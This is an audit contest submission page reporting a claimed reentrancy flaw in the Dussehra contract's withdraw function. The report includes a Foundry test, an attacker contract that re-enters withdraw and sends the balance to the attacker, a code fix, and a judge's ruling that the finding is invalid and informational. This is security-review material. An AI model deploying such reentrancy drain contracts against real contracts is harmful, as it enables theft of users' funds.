First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: low
Invalid

Winner can use reentrancy to withdraw more reward than he deserves in Dussehra Smart Contract

azanux

Summary

The function Dussehra.withdraw() can be exploited by using reentrancy by the winner (Selected Ram) to withdraw more funds than he deserves (if some funds are sent to the contract after the organizer selected Ram).

Vulnerability Details

The function Dussehra.withdraw() can be exploited by using reentrancy by the winner (Selected Ram) to withdraw more funds than he deserves. The variable totalAmountGivenToRam is updated after a call, making it vulnerable to a reentrancy attack. If people send funds to the smart contract after the Ram has been selected, these funds could be drained by the winner using a reentrancy attack dunring the withdraw phase of his reward

Impact

The winner (Selected Ram) can withdraw more reward than he deserves.

Code Example

This code should be added to the smart contract Dussehra.sol#CounterTest:

function test_reentrancyWithdraw() public participants {
// Attacker has 1 Ether
address attacker = address(0xabc123);
vm.deal(attacker, 1 ether);
​
//player 3 and player 4 has 1 ether
vm.deal(player4, 1 ether);
vm.deal(player3, 1 ether);
​
// Create a smart contract to hack the Dussehra contract
vm.prank(attacker);
HackReentrancy hack = new HackReentrancy(address(dussehra), address(choosingRam), address(ramNFT));
​
// 3 people enter in Ram and 3 ETH in the Dussehra contract
vm.prank(attacker);
hack.enterInRam{value: 1 ether}();
​
// Check the balance of the attacker; he should have 0 ether
assertEq(attacker.balance, 0 ether);
​
assertEq(address(dussehra).balance, 3 ether);
​
// Organizer selects Ram
vm.warp(1728691200 + 1);
vm.prank(organizer);
choosingRam.selectRamIfNotSelected();
​
// Check the selected Ram is the hack smart contract
assertEq(choosingRam.selectedRam(), address(hack));
​
// Player 4 kills Ravana
vm.prank(player4);
dussehra.killRavana();
​
// Check organizer balance; he should have 1.5 eth
assertEq(organizer.balance, 1.5 ether);
​
// Player 4 and player 3 enter in the Ram because they don't know the rule
vm.prank(player3);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
​
vm.prank(player4);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
​
// Check the balance of Dussehra contract; it should be 3.5 Ether (1.5 ether of reward and 2 of player 4/player 3)
assertEq(address(dussehra).balance, 3.5 ether);
​
// Check the balance of attacker; he should have 0 ether
assertEq(attacker.balance, 0 ether);
​
// Hack smart contract can withdraw more than he deserves, meaning all the funds of the Dussehra contract (his reward and 2 ether from player 4/player 3)
// Attacker hacks the contract and sends all the funds to his address
vm.prank(attacker);
hack.hack();
​
// Check the balance of the attacker; attacker gets 3 ether instead of 1.5 ether
assertEq(attacker.balance, 3 ether);
}
​

Attacker hack Smart Contract use to do the reentrency

contract HackReentrency {
Dussehra public dussehra;
ChoosingRam public choosingRam;
RamNFT public ramNFT;
address public attacker;
bool isAlreadyHack = false;
​
constructor(address _dussehra, address _choosingRam, address _ramNFT) {
dussehra = Dussehra(_dussehra);
choosingRam = ChoosingRam(_choosingRam);
ramNFT = RamNFT(_ramNFT);
attacker = msg.sender;
}
​
function enterInRam() public payable {
dussehra.enterPeopleWhoLikeRam{value: msg.value}();
}
​
function hack() public {
dussehra.withdraw();
}
​
receive() external payable {
if (!isAlreadyHack) {
isAlreadyHack = true;
dussehra.withdraw();
(bool success,) = (attacker).call{value: address(this).balance}("");
require(success, "Failed to send ether");
}
}
​
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}

Result:
The winner (Selected Ram) should get 1.5 ether like the organizer, but he gets 3 ether using reentrancy.

forge test --mt test_reentrancyWithdraw
[⠊] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/Dussehra.t.sol:CounterTest
[PASS] test_reentrancyWithdraw() (gas: 1149459)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.32ms (1.33ms CPU time)
​

Tools Used

Manual review.

Recommendations

Fix the error in the code:

function withdraw() public RamIsSelected OnlyRam RavanKilled {
if (totalAmountGivenToRam == 0) {
revert Dussehra__AlreadyClaimedAmount();
}
uint256 amount = totalAmountGivenToRam;
+ totalAmountGivenToRam = 0;
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Failed to send money to Ram");
- totalAmountGivenToRam = 0;
}
​
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Invalid - reentrancy in withdraw

The `withdraw` function sends the given amount to Ram. If the attacker calls the `withdraw` function again before the state variable is changed, the function will revert because there are no more funds in the contract. This reentrancy has no impact for the protocol. It is recommended to follow the CEI pattern, but this is informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.